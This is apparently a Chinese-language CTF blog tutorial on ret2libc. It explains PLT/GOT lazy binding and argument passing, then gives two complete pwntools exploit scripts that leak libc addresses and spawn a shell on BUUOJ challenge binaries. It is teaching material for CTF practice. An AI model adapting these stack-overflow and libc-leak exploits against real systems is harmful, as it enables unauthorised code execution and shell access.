ret2ibc
ret2libc,即return to libc.由于给的程序中没有直接提供后门函数,所以需要泄露libc的地址,进而调用libc中的函数。
基础知识
延迟绑定技术(Lazy Binding)
延迟绑定是动态链接过程的一项关键技术,通过推迟符号解析和重定位的时机来优化程序性能.
关键是明白plt和got相互作用的机制
PLT(Procedure Linkage Table),是一段跳转代码表,用于间接调用外部函数,首次调用函数时,plt会触发动态链接器解析函数的真实地址,并更新got.
GOT(Global Offset Table),是一张地址表,里面存储的是外部函数或全局变量的真实地址,在ret2libc的过程中,最关键的一步就是要泄露出要调用函数的真实地址.从而计算出要得到shell需要得到的函数或字符串的offset,然后调用.


延迟绑定(plt got got.plt) vs 立即绑定(plt.got)
普通函数(如 puts@.plt)使用延迟绑定,首次调用时通过 .got.plt 解析地址。
某些关键函数(如 exit@.plt.got)在程序启动时立即绑定,.plt.got 直接指向 .got 中的固定地址,无需动态解析。
32位、64位调用函数的区别
这里不过多做展开。
只需明白32位程序统一使用栈传递参数 而64位程序通过寄存器(rdi,rsi,rdx)等按规定的顺序传递参数
比如说这里我们统一使用puts函数来做libc的泄露
32位程序
调用格式:调用函数 + 返回地址 + 参数
payload = b'A' * offset(填充垃圾字符) + p32(puts_plt) + p32(main_addr) + p32(puts_got)
64位程序
调用格式:顺序寄存器 + 参数 + 调用函数 + 返回地址(可选栈平衡)
payload = b'A' * offset + p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
实例
32位 jarvisoj_level3


进vulnerable_function

read(0, buf, 0x100u),明显栈溢出漏洞,看栈布局

空间足够,并且思路很简单,即使用write函数的延迟绑定,泄露got表中write的真实地址,返回main函数,利用泄露得到的write地址,求出libc基址,得到system以及‘/bin/sh’地址
exp如下:
from pwn import *
from LibcSearcher import *
#设置系统架构, 打印调试信息
# arch 可选 : i386 / amd64 / arm / mips
context(os='linux', arch='i386', log_level='debug')
# PWN 远程 : content = 0, PWN 本地 : content = 1
content = 0
def main():
if content == 1:
# 将本地的 Linux 程序启动为进程 io
io = process("./level3")
else:
# 远程程序的 IP 和端口号
io = remote("node5.buuoj.cn",28817)
#elf
elf = ELF('./level3')
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = 0x08048484
io.recvuntil(b'Input:\n')
payload1 = b'A' * (0X88 + 0x04) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
io.sendline(payload1)
write_addr = u32(io.recv(4))
log.info("puts_addr: " + hex(write_addr))
#libc
libc = ELF('./libc-2.23.so')
write_offset = libc.symbols['write']
system_offset = libc.symbols['system']
binsh_offset = next(libc.search(b'/bin/sh'))
log.info("write_offset: " + hex(write_offset))
system_addr = write_addr - write_offset + system_offset
binsh_addr = write_addr - write_offset + binsh_offset
io.recvuntil(b'Input:\n')
payload = b'A' * (0x88 + 0x04) + p32(system_addr) + p32(main_addr) + p32(binsh_addr)
io.sendline(payload)
io.interactive()
if __name__ == "__main__":
main()
64位 bjdctf_2020_babyrop

大致思路和32位的那题一样,只不过这里没有对应的libc文件,需要用LibcSearcher匹配libc版本泄露地址
exp如下:
from pwn import *
from LibcSearcher import *
# 设置系统架构, 打印调试信息
# arch 可选 : i386 / amd64 / arm / mips
context(os='linux', arch='amd64', log_level='debug')
# PWN 远程 : content = 0, PWN 本地 : content = 1
content = 0
def main():
if content == 1:
# 将本地的 Linux 程序启动为进程 io
io = process("./bjdctf_2020_babyrop")
else:
# 远程程序的 IP 和端口号
io = remote("node5.buuoj.cn",25666)
elf = ELF('./bjdctf_2020_babyrop')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x004006AD
ret_addr = 0x004004c9
pop_rdi_ret = 0x00400733
io.recvuntil(b'story!\n')
payload1 = b'A' * (0x20 + 0x08) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
io.sendline(payload1)
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
log.info("puts_addr: " + hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
puts_offset = libc.dump('puts')
system_offset = libc.dump('system')
binsh_offset = libc.dump('str_bin_sh')
log.info("puts_offset: " + hex(puts_offset))
system_addr = puts_addr - puts_offset + system_offset
binsh_addr = puts_addr - puts_offset + binsh_offset
io.recvuntil(b'story!\n')
payload = b'A' * (0x20 + 0x08) + p64(ret_addr) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
io.sendline(payload)
io.interactive()
if __name__ == "__main__":
main()

即可得到flag

浙公网安备 33010602011771号